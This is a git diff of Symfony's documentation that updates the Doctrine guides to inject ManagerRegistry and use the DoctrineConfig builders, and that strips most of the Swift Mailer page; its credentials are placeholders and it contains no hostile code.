     use App\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
 
     class ProductController extends AbstractController
@@ -327,7 +386,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
         /**
          * @Route("/product", name="product")
          */
-        public function index()
+        public function index(ManagerRegistry $doctrine): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -340,7 +399,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -378,20 +437,23 @@ When you need to fetch associated objects, your workflow looks like it did
 before. First, fetch a ``$product`` object and then access its related
 ``Category`` object::
 
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
     // ...
 
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
-
-        // ...
+        public function show(ManagerRegistry $doctrine, int $id): Response
+        {
+            $product = $doctrine->getRepository(Product::class)->find($id);
+            // ...
 
-        $categoryName = $product->getCategory()->getName();
+            $categoryName = $product->getCategory()->getName();
 
-        // ...
+            // ...
+        }
     }
 
 In this example, you first query for a ``Product`` object based on the product's
@@ -411,15 +473,19 @@ the category (i.e. it's "lazily loaded").
 Because we mapped the optional ``OneToMany`` side, you can also query in the other
 direction::
 
-    public function showProducts($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $category = $this->getDoctrine()
-            ->getRepository(Category::class)
-            ->find($id);
+        public function showProducts(ManagerRegistry $doctrine, int $id): Response
+        {
+            $category = $doctrine->getRepository(Category::class)->find($id);
 
-        $products = $category->getProducts();
+            $products = $category->getProducts();
 
-        // ...
+            // ...
+        }
     }
 
 In this case, the same things occur: you first query for a single ``Category``
@@ -433,9 +499,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
+        $product = $doctrine->getRepository(Product::class)->find($id);
 
         $category = $product->getCategory();
 
@@ -475,18 +539,23 @@ can avoid the second query by issuing a join in the original query. Add the
 following method to the ``ProductRepository`` class::
 
     // src/Repository/ProductRepository.php
-    public function findOneByIdJoinedToCategory($productId)
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
     {
-        $entityManager = $this->getEntityManager();
+        public function findOneByIdJoinedToCategory(int $productId): ?Product
+        {
+            $entityManager = $this->getEntityManager();
 
-        $query = $entityManager->createQuery(
-            'SELECT p, c
-            FROM App\Entity\Product p
-            INNER JOIN p.category c
-            WHERE p.id = :id'
-        )->setParameter('id', $productId);
+            $query = $entityManager->createQuery(
+                'SELECT p, c
+                FROM App\Entity\Product p
+                INNER JOIN p.category c
+                WHERE p.id = :id'
+            )->setParameter('id', $productId);
 
-        return $query->getOneOrNullResult();
+            return $query->getOneOrNullResult();
+        }
     }
 
 This will *still* return an array of ``Product`` objects. But now, when you call
@@ -495,15 +564,19 @@ This will *still* return an array of ``Product`` objects. But now, when you call
 Now, you can use this method in your controller to query for a ``Product``
 object and its related ``Category`` in one query::
 
-    public function show($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->findOneByIdJoinedToCategory($id);
+        public function show(ManagerRegistry $doctrine, int $id): Response
+        {
+            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
 
-        $category = $product->getCategory();
+            $category = $product->getCategory();
 
-        // ...
+            // ...
+        }
     }
 
 .. _associations-inverse-side:
@@ -574,16 +647,30 @@ on that ``Product`` will be set to ``null`` in the database.
 
 But, instead of setting the ``category_id`` to null, what if you want the ``Product``
 to be *deleted* if it becomes "orphaned" (i.e. without a ``Category``)? To choose
-that behavior, use the `orphanRemoval`_ option inside ``Category``::
+that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
-    // src/Entity/Category.php
+.. configuration-block::
 
-    // ...
+    .. code-block:: php-annotations
+
+        // src/Entity/Category.php
+
+        // ...
+
+        /**
+         * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
+         */
+        private $products;
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+
+        // ...
+
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
+        private $products;
 
-    /**
-     * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
-     */
-    private $products;
 
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
 removed from the database entirely.
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 9485509da49..8643a3a643b 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -57,24 +57,19 @@ In Symfony, you can register your custom DQL functions as follows:
         use App\DQL\NumericFunction;
         use App\DQL\SecondStringFunction;
         use App\DQL\StringFunction;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'dql' => [
-                    'string_functions' => [
-                        'test_string'   => StringFunction::class,
-                        'second_string' => SecondStringFunction::class,
-                    ],
-                    'numeric_functions' => [
-                        'test_numeric' => NumericFunction::class,
-                    ],
-                    'datetime_functions' => [
-                        'test_datetime' => DatetimeFunction::class,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $defaultDql = $doctrine->orm()
+                ->entityManager('default')
+                    // ...
+                    ->dql();
+
+            $defaultDql->stringFunction('test_string', StringFunction::class);
+            $defaultDql->stringFunction('second_string', SecondStringFunction::class);
+            $defaultDql->numericFunction('test_numeric', NumericFunction::class);
+            $defaultDql->datetimeFunction('test_datetime', DatetimeFunction::class);
+        };
 
 .. note::
 
@@ -129,23 +124,15 @@ In Symfony, you can register your custom DQL functions as follows:
 
             // config/packages/doctrine.php
             use App\DQL\DatetimeFunction;
-
-            $container->loadFromExtension('doctrine', [
-                'doctrine' => [
-                    'orm' => [
-                        // ...
-                        'entity_managers' => [
-                            'example_manager' => [
-                                // place your functions here
-                                'dql' => [
-                                    'datetime_functions' => [
-                                        'test_datetime' => DatetimeFunction::class,
-                                    ],
-                                ],
-                            ],
-                        ],
-                    ],
-                ],
-            ]);
+            use Symfony\Config\DoctrineConfig;
+
+            return static function (DoctrineConfig $doctrine) {
+                $doctrine->orm()
+                    // ...
+                    ->entityManager('example_manager')
+                        // place your functions here
+                        ->dql()
+                            ->datetimeFunction('test_datetime', DatetimeFunction::class);
+            };
 
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 3d451fb4af6..8459b597faa 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -35,7 +35,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file
@@ -47,11 +47,13 @@ object::
     // src/Controller/UserController.php
     namespace App\Controller;
 
-    use Doctrine\DBAL\Driver\Connection;
+    use Doctrine\DBAL\Connection;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
-        public function index(Connection $connection)
+        public function index(Connection $connection): Response
         {
             $users = $connection->fetchAll('SELECT * FROM users');
 
@@ -103,15 +105,13 @@ mapping types, read Doctrine's `Custom Mapping Types`_ section of their document
         // config/packages/doctrine.php
         use App\Type\CustomFirst;
         use App\Type\CustomSecond;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'types' => [
-                    'custom_first'  => CustomFirst::class,
-                    'custom_second' => CustomSecond::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $dbal = $doctrine->dbal();
+            $dbal->type('custom_first')->class(CustomFirst::class);
+            $dbal->type('custom_second')->class(CustomSecond::class);
+        };
 
 Registering custom Mapping Types in the SchemaTool
 --------------------------------------------------
@@ -154,13 +154,13 @@ mapping type:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'mapping_types' => [
-                    'enum'  => 'string',
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $dbalDefault = $doctrine->dbal()
+                ->connection('default');
+            $dbalDefault->mappingType('enum', 'string');
+        };
 
 .. _`PDO`: https://www.php.net/pdo
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 46287b06253..4e5581c14de 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -16,7 +16,7 @@ on other common tasks (e.g. ``loadClassMetadata``, ``onClear``).
 
 There are different ways to listen to these Doctrine events:
 
-* **Lifecycle callbacks**, they are defined as methods on the entity classes and
+* **Lifecycle callbacks**, they are defined as public methods on the entity classes and
   they are called when the events are triggered;
 * **Lifecycle listeners and subscribers**, they are classes with callback
   methods for one or more events and they are called for all entities;
@@ -46,7 +46,7 @@ to learn everything about them.
 Doctrine Lifecycle Callbacks
 ----------------------------
 
-Lifecycle callbacks are defined as methods inside the entity you want to modify.
+Lifecycle callbacks are defined as public methods inside the entity you want to modify.
 For example, suppose you want to set a ``createdAt`` date column to the current
 date, but only when the entity is first persisted (i.e. inserted). To do so,
 define a callback for the ``prePersist`` Doctrine event:
@@ -74,9 +74,9 @@ define a callback for the ``prePersist`` Doctrine event:
             /**
              * @ORM\PrePersist
              */
-            public function setCreatedAtValue()
+            public function setCreatedAtValue(): void
             {
-                $this->createdAt = new \DateTime();
+                $this->createdAt = new \DateTimeImmutable();
             }
         }
 
@@ -132,7 +132,7 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -166,7 +166,7 @@ with the ``doctrine.event_listener`` tag:
                         # this is the only required option for the lifecycle listener tag
                         event: 'postPersist'
 
-                        # listeners can define their priority in case multiple listeners are associated
+                        # listeners can define their priority in case multiple subscribers or listeners are associated
                         # to the same event (default priority = 0; higher numbers = listener is run earlier)
                         priority: 500
 
@@ -176,7 +176,7 @@ with the ``doctrine.event_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -184,7 +184,7 @@ with the ``doctrine.event_listener`` tag:
 
                 <!--
                     * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple listeners are associated to the same event
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
@@ -213,7 +213,7 @@ with the ``doctrine.event_listener`` tag:
                     // this is the only required option for the lifecycle listener tag
                     'event' => 'postPersist',
 
-                    // listeners can define their priority in case multiple listeners are associated
+                    // listeners can define their priority in case multiple subscribers or listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
@@ -229,6 +229,16 @@ with the ``doctrine.event_listener`` tag:
     Doctrine event is actually fired; whereas Doctrine subscribers are always
     loaded (and instantiated) by Symfony, making them less performant.
 
+.. tip::
+
+    The value of the ``connection`` option can also be a
+    :ref:`configuration parameter <configuration-parameters>`.
+
+    .. versionadded:: 5.4
+
+        The feature to allow using configuration parameters in ``connection``
+        was introduced in Symfony 5.4.
+
 Doctrine Entity Listeners
 -------------------------
 
@@ -247,7 +257,7 @@ define a listener for the ``postUpdate`` Doctrine event::
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event)
+        public function postUpdate(User $user, LifecycleEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -289,7 +299,7 @@ with the ``doctrine.orm.entity_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -365,15 +375,15 @@ want to log all the database activity. To do so, define a subscriber for the
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Common\EventSubscriber;
+    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Events;
     use Doctrine\Persistence\Event\LifecycleEventArgs;
 
-    class DatabaseActivitySubscriber implements EventSubscriber
+    class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
         // this method can only return the event names; you cannot define a
         // custom method name to execute when each event triggers
-        public function getSubscribedEvents()
+        public function getSubscribedEvents(): array
         {
             return [
                 Events::postPersist,
@@ -385,22 +395,22 @@ want to log all the database activity. To do so, define a subscriber for the
         // callback methods must be called exactly like the events they listen to;
         // they receive an argument of type LifecycleEventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $this->logActivity('persist', $args);
         }
 
-        public function postRemove(LifecycleEventArgs $args)
+        public function postRemove(LifecycleEventArgs $args): void
         {
             $this->logActivity('remove', $args);
         }
 
-        public function postUpdate(LifecycleEventArgs $args)
+        public function postUpdate(LifecycleEventArgs $args): void
         {
             $this->logActivity('update', $args);
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args)
+        private function logActivity(string $action, LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -414,9 +424,13 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
-The next step is to enable the Doctrine subscriber in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.event_subscriber`` tag:
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
+work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
+subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
+
+If you need to configure some option of the subscriber (e.g. its priority or
+Doctrine connection to use) you must do that in the manual service configuration:
 
 .. configuration-block::
 
@@ -428,64 +442,31 @@ with the ``doctrine.event_subscriber`` tag:
 
             App\EventListener\DatabaseActivitySubscriber:
                 tags:
-                    - { name: 'doctrine.event_subscriber' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\EventListener\DatabaseActivitySubscriber;
+                    - name: 'doctrine.event_subscriber'
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
-
-            $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber')
-            ;
-        };
+                      # subscribers can define their priority in case multiple subscribers or listeners are associated
+                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
+                      priority: 500
 
-If you need to associate the subscriber with a specific Doctrine connection, you
-can do it in the service configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\DatabaseActivitySubscriber:
-                tags:
-                    - { name: 'doctrine.event_subscriber', connection: 'default' }
+                      # you can also restrict listeners to a specific Doctrine connection
+                      connection: 'default'
 
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
                 <!-- ... -->
 
+                <!--
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
+                    *             (default priority = 0; higher numbers = listener is run earlier)
+                    * 'connection': restricts the listener to a specific Doctrine connection
+                -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" connection="default"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
                 </service>
             </services>
         </container>
@@ -501,10 +482,21 @@ can do it in the service configuration:
             $services = $configurator->services();
 
             $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber', ['connection' => 'default'])
+                ->tag('doctrine.event_subscriber'[
+                    // subscribers can define their priority in case multiple subscribers or listeners are associated
+                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
+                    'priority' => 500,
+
+                    // you can also restrict listeners to a specific Doctrine connection
+                    'connection' => 'default',
+                ])
             ;
         };
 
+.. versionadded:: 5.3
+
+    Subscriber priority was introduced in Symfony 5.3.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 1593398b3bc..e94ef907f57 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -71,7 +71,7 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: xml
 
         <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -128,57 +128,47 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'default_connection' => 'default',
-                'connections' => [
-                    // configure these for your database server
-                    'default' => [
-                        'url'            => '%env(resolve:DATABASE_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                    // configure these for your database server
-                    'customer' => [
-                        'url'            => '%env(resolve:DATABASE_CUSTOMER_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                ],
-            ],
-
-            'orm' => [
-                'default_entity_manager' => 'default',
-                'entity_managers' => [
-                    'default' => [
-                        'connection' => 'default',
-                        'mappings'   => [
-                            'Main'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Main',
-                                'prefix' => 'App\Entity\Main',
-                                'alias' => 'Main',
-                            ]
-                        ],
-                    ],
-                    'customer' => [
-                        'connection' => 'customer',
-                        'mappings'   => [
-                            'Customer'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Customer',
-                                'prefix' => 'App\Entity\Customer',
-                                'alias' => 'Customer',
-                            ]
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()->defaultConnection('default');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('default')
+                ->url('%env(resolve:DATABASE_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('customer')
+                ->url('%env(resolve:DATABASE_CUSTOMER_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            $doctrine->orm()->defaultEntityManager('default');
+            $emDefault = $doctrine->orm()->entityManager('default');
+            $emDefault->connection('default');
+            $emDefault->mapping('Main')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Main')
+                ->prefix('App\Entity\Main')
+                ->alias('Main');
+
+            $emCustomer = $doctrine->orm()->entityManager('customer');
+            $emCustomer->connection('customer');
+            $emCustomer->mapping('Customer')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Customer')
+                ->prefix('App\Entity\Customer')
+                ->alias('Customer')
+            ;
+        };
 
 In this case, you've defined two entity managers and called them ``default``
 and ``customer``. The ``default`` entity manager manages entities in the
@@ -241,25 +231,29 @@ the default entity manager (i.e. ``default``) is returned::
     namespace App\Controller;
 
     // ...
-
     use Doctrine\ORM\EntityManagerInterface;
+    use Doctrine\Persistence\ManagerRegistry;
 
     class UserController extends AbstractController
     {
-        public function index(EntityManagerInterface $entityManager)
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // These methods also return the default entity manager, but it's preferred
-            // to get it by injecting EntityManagerInterface in the action method
-            $entityManager = $this->getDoctrine()->getManager();
-            $entityManager = $this->getDoctrine()->getManager('default');
-            $entityManager = $this->get('doctrine.orm.default_entity_manager');
-
-            // Both of these return the "customer" entity manager
-            $customerEntityManager = $this->getDoctrine()->getManager('customer');
-            $customerEntityManager = $this->get('doctrine.orm.customer_entity_manager');
+            // Both methods return the default entity manager
+            $entityManager = $doctrine->getManager();
+            $entityManager = $doctrine->getManager('default');
+
+            // This method returns instead the "customer" entity manager
+            $customerEntityManager = $doctrine->getManager('customer');
+
+            // ...
         }
     }
 
+Entity managers also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
+when the :ref:`framework bundle <framework-bundle-configuration>` is used. For
+example, to inject the ``customer`` entity manager, type-hint your method with
+``EntityManagerInterface $customerEntityManager``.
+
 You can now use Doctrine like you did before - using the ``default`` entity
 manager to persist and fetch entities that it manages and the ``customer``
 entity manager to persist and fetch its entities.
@@ -271,29 +265,23 @@ The same applies to repository calls::
 
     use AcmeStoreBundle\Entity\Customer;
     use AcmeStoreBundle\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     // ...
 
     class UserController extends AbstractController
     {
-        public function index()
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // Retrieves a repository managed by the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "default" entity manager
+            $products = $doctrine->getRepository(Product::class)->findAll();
 
-            // Explicit way to deal with the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class, 'default')
-                ->findAll()
-            ;
+            // Explicit way to deal with the "default" entity manager
+            $products = $doctrine->getRepository(Product::class, 'default')->findAll();
 
-            // Retrieves a repository managed by the "customer" em
-            $customers = $this->getDoctrine()
-                ->getRepository(Customer::class, 'customer')
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "customer" entity manager
+            $customers = $doctrine->getRepository(Customer::class, 'customer')->findAll();
+
+            // ...
         }
     }
 
@@ -317,6 +305,6 @@ The same applies to repository calls::
             // ...
         }
 
-	You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
+    You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
 
 .. _`several alternatives`: https://stackoverflow.com/a/11494543
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index d999eda77e9..2b8d687ee16 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -14,7 +14,7 @@ form you must:
 #. :doc:`Create a form </forms>` to ask for the registration information (you can
    generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
 #. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-authorization>` so
+#. :ref:`Protect some parts of your application <security-access-control>` so
    only registered users can access to them.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 36038fd9f3c..f16ca7421e5 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -96,10 +96,7 @@ An InvoiceSubjectInterface::
         // will need to access on the subject so that you can
         // be sure that you have access to those methods.
 
-        /**
-         * @return string
-         */
-        public function getName();
+        public function getName(): string;
     }
 
 Next, you need to configure the listener, which tells the DoctrineBundle
@@ -142,15 +139,13 @@ about the replacement:
         // config/packages/doctrine.php
         use App\Entity\Customer;
         use App\Model\InvoiceSubjectInterface;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'resolve_target_entities' => [
-                    InvoiceSubjectInterface::class => Customer::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $orm = $doctrine->orm();
+            // ...
+            $orm->resolveTargetEntity(InvoiceSubjectInterface::class, Customer::class);
+        };
 
 Final Thoughts
 --------------
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 087e41db955..bd5d1402198 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -99,9 +99,12 @@ run:
 
 .. code-block:: terminal
 
-    // generates getter/setter methods
+    // generates getter/setter methods for all Entities
     $ php bin/console make:entity --regenerate App
 
+    // generates getter/setter methods for one specific Entity
+    $ php bin/console make:entity --regenerate App\Entity\Country
+
 .. note::
 
     If you want to have a OneToMany relationship, you will need to add
diff --git a/email.rst b/email.rst
index 60e630abc38..a4636adab78 100644
--- a/email.rst
+++ b/email.rst
@@ -4,665 +4,10 @@
 Swift Mailer
 ============
 
-.. note::
-
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and can
-    be used instead of Swift Mailer.
-
-Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
-via the `SwiftMailerBundle`_. This mailer supports sending messages with your
-own mail servers as well as using popular email providers like `Mandrill`_,
-`SendGrid`_, and `Amazon SES`_.
-
-Installation
-------------
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Swift Mailer based mailer before using it:
-
-.. code-block:: terminal
-
-    $ composer require symfony/swiftmailer-bundle
-
-If your application doesn't use Symfony Flex, follow the installation
-instructions on `SwiftMailerBundle`_.
-
-.. _swift-mailer-configuration:
-
-Configuration
--------------
-
-The ``config/packages/swiftmailer.yaml`` file that's created when installing the
-mailer provides all the initial config needed to send emails, except your mail
-server connection details. Those parameters are defined in the ``MAILER_URL``
-environment variable in the ``.env`` file:
-
-.. code-block:: bash
-
-    # .env (or override MAILER_URL in .env.local to avoid committing your changes)
-
-    # use this to disable email delivery
-    MAILER_URL=null://localhost
-
-    # use this to configure a traditional SMTP server
-    MAILER_URL=smtp://localhost:465?encryption=ssl&auth_mode=login&username=&password=
-
 .. caution::
 
-    If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
-    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
-    :phpfunction:`urlencode` function to encode them.
-
-Refer to the :doc:`SwiftMailer configuration reference </reference/configuration/swiftmailer>`
-for the detailed explanation of all the available config options.
-
-Sending Emails
---------------
-
-The Swift Mailer library works by creating, configuring and then sending
-``Swift_Message`` objects. The "mailer" is responsible for the actual delivery
-of the message and is accessible via the ``Swift_Mailer`` service. Overall,
-sending an email is pretty straightforward::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/emails/registration.html.twig
-                    'emails/registration.html.twig',
-                    ['name' => $name]
-                ),
-                'text/html'
-            )
-
-            // you can remove the following code if you don't define a text version for your emails
-            ->addPart(
-                $this->renderView(
-                    // templates/emails/registration.txt.twig
-                    'emails/registration.txt.twig',
-                    ['name' => $name]
-                ),
-                'text/plain'
-            )
-        ;
-
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-To keep things decoupled, the email body has been stored in a template and
-rendered with the ``renderView()`` method. The ``registration.html.twig``
-template might look something like this:
-
-.. code-block:: html+twig
-
-    {# templates/emails/registration.html.twig #}
-    <h3>You did it! You registered!</h3>
-
-    Hi {{ name }}! You're successfully registered.
-
-    {# example, assuming you have a route named "login" #}
-    To login, go to: <a href="{{ url('login') }}">...</a>.
-
-    Thanks!
-
-    {# Makes an absolute URL to the /images/logo.png file #}
-    <img src="{{ absolute_url(asset('images/logo.png')) }}">
-
-The ``$message`` object supports many more options, such as including attachments,
-adding HTML content, and much more. Refer to the `Creating Messages`_ section
-of the Swift Mailer documentation for more details.
-
-.. _email-using-gmail:
-
-Using Gmail to Send Emails
---------------------------
-
-During development, you might prefer to send emails using Gmail instead of
-setting up a regular SMTP server. To do that, update the ``MAILER_URL`` of your
-``.env`` file to this:
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost
-
